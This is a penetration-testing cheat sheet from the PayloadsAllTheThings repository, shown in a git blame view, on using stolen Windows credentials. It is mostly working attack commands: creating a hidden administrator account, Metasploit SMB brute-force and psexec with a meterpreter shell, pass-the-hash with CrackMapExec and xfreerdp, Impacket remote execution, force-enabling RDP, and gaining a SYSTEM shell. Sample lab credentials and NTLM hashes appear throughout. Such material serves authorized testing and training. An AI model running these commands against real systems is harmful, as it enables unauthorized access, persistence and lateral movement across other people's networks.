PayloadsAllTheThings/Methodology and Resources/Windows - Using credentials.md

145 lines
3.6 KiB
Markdown
Raw Normal View History

# Windows - Using credentials
2018-06-05 22:05:28 +00:00
## TIP 1 - Create your credential :D
2018-08-12 21:30:22 +00:00
```powershell
net user hacker hacker /add
net localgroup administrators hacker /add
```
2018-08-12 21:30:22 +00:00
Some info about your user
2018-08-12 21:30:22 +00:00
```powershell
net user /dom
net user /domain
```
2018-06-05 22:05:28 +00:00
## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
2018-08-12 21:30:22 +00:00
2018-06-05 22:05:28 +00:00
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
2018-08-12 21:30:22 +00:00
2018-06-05 22:05:28 +00:00
```powershell
Username: RetailAdmin
Password: trs10
```
## Metasploit - SMB
2018-08-12 21:30:22 +00:00
```c
use auxiliary/scanner/smb/smb_login
set SMBDomain CSCOU
set SMBUser jarrieta
set SMBPass nastyCutt3r
services -p 445 -R
run
creds
```
## Metasploit - Psexec
2018-08-12 21:30:22 +00:00
Note: the password can be replaced by a hash to execute a `pass the hash` attack.
2018-08-12 21:30:22 +00:00
```c
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
## Crackmapexec (Integrated to Kali)
2018-08-12 21:30:22 +00:00
```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r
python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami
```
## Crackmapexec (Pass The Hash)
2018-08-12 21:30:22 +00:00
```powershell
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
```
## Winexe (Integrated to Kali)
2018-08-12 21:30:22 +00:00
```python
winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe
```
## Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
2018-08-12 21:30:22 +00:00
```python
git clone https://github.com/CoreSecurity/impacket.git
python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
```
## RDP Remote Desktop Protocol (Impacket)
2018-08-12 21:30:22 +00:00
```powershell
python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5
```
Note: you may need to enable it with the following command
2018-08-12 21:30:22 +00:00
```powershell
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```
or with psexec(sysinternals)
2018-08-12 21:30:22 +00:00
```powershell
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
```
or with crackmapexec
2018-08-12 21:30:22 +00:00
```powershell
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
```
2018-05-05 21:11:17 +00:00
For Server 2012 R2, Win8.1+
2018-08-12 21:30:22 +00:00
```powershell
2018-05-05 21:11:17 +00:00
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12
```
with Metasploit
2018-08-12 21:30:22 +00:00
```powershell
run getgui -u admin -p 1234
```
## Netuse (Windows)
2018-08-12 21:30:22 +00:00
```powershell
net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r
C$
```
## Runas (Windows - Kerberos auth)
2018-08-12 21:30:22 +00:00
```powershell
runas /netonly /user:CSCOU\jarrieta "cmd.exe"
```
## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) )
2018-08-12 21:30:22 +00:00
```powershell
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)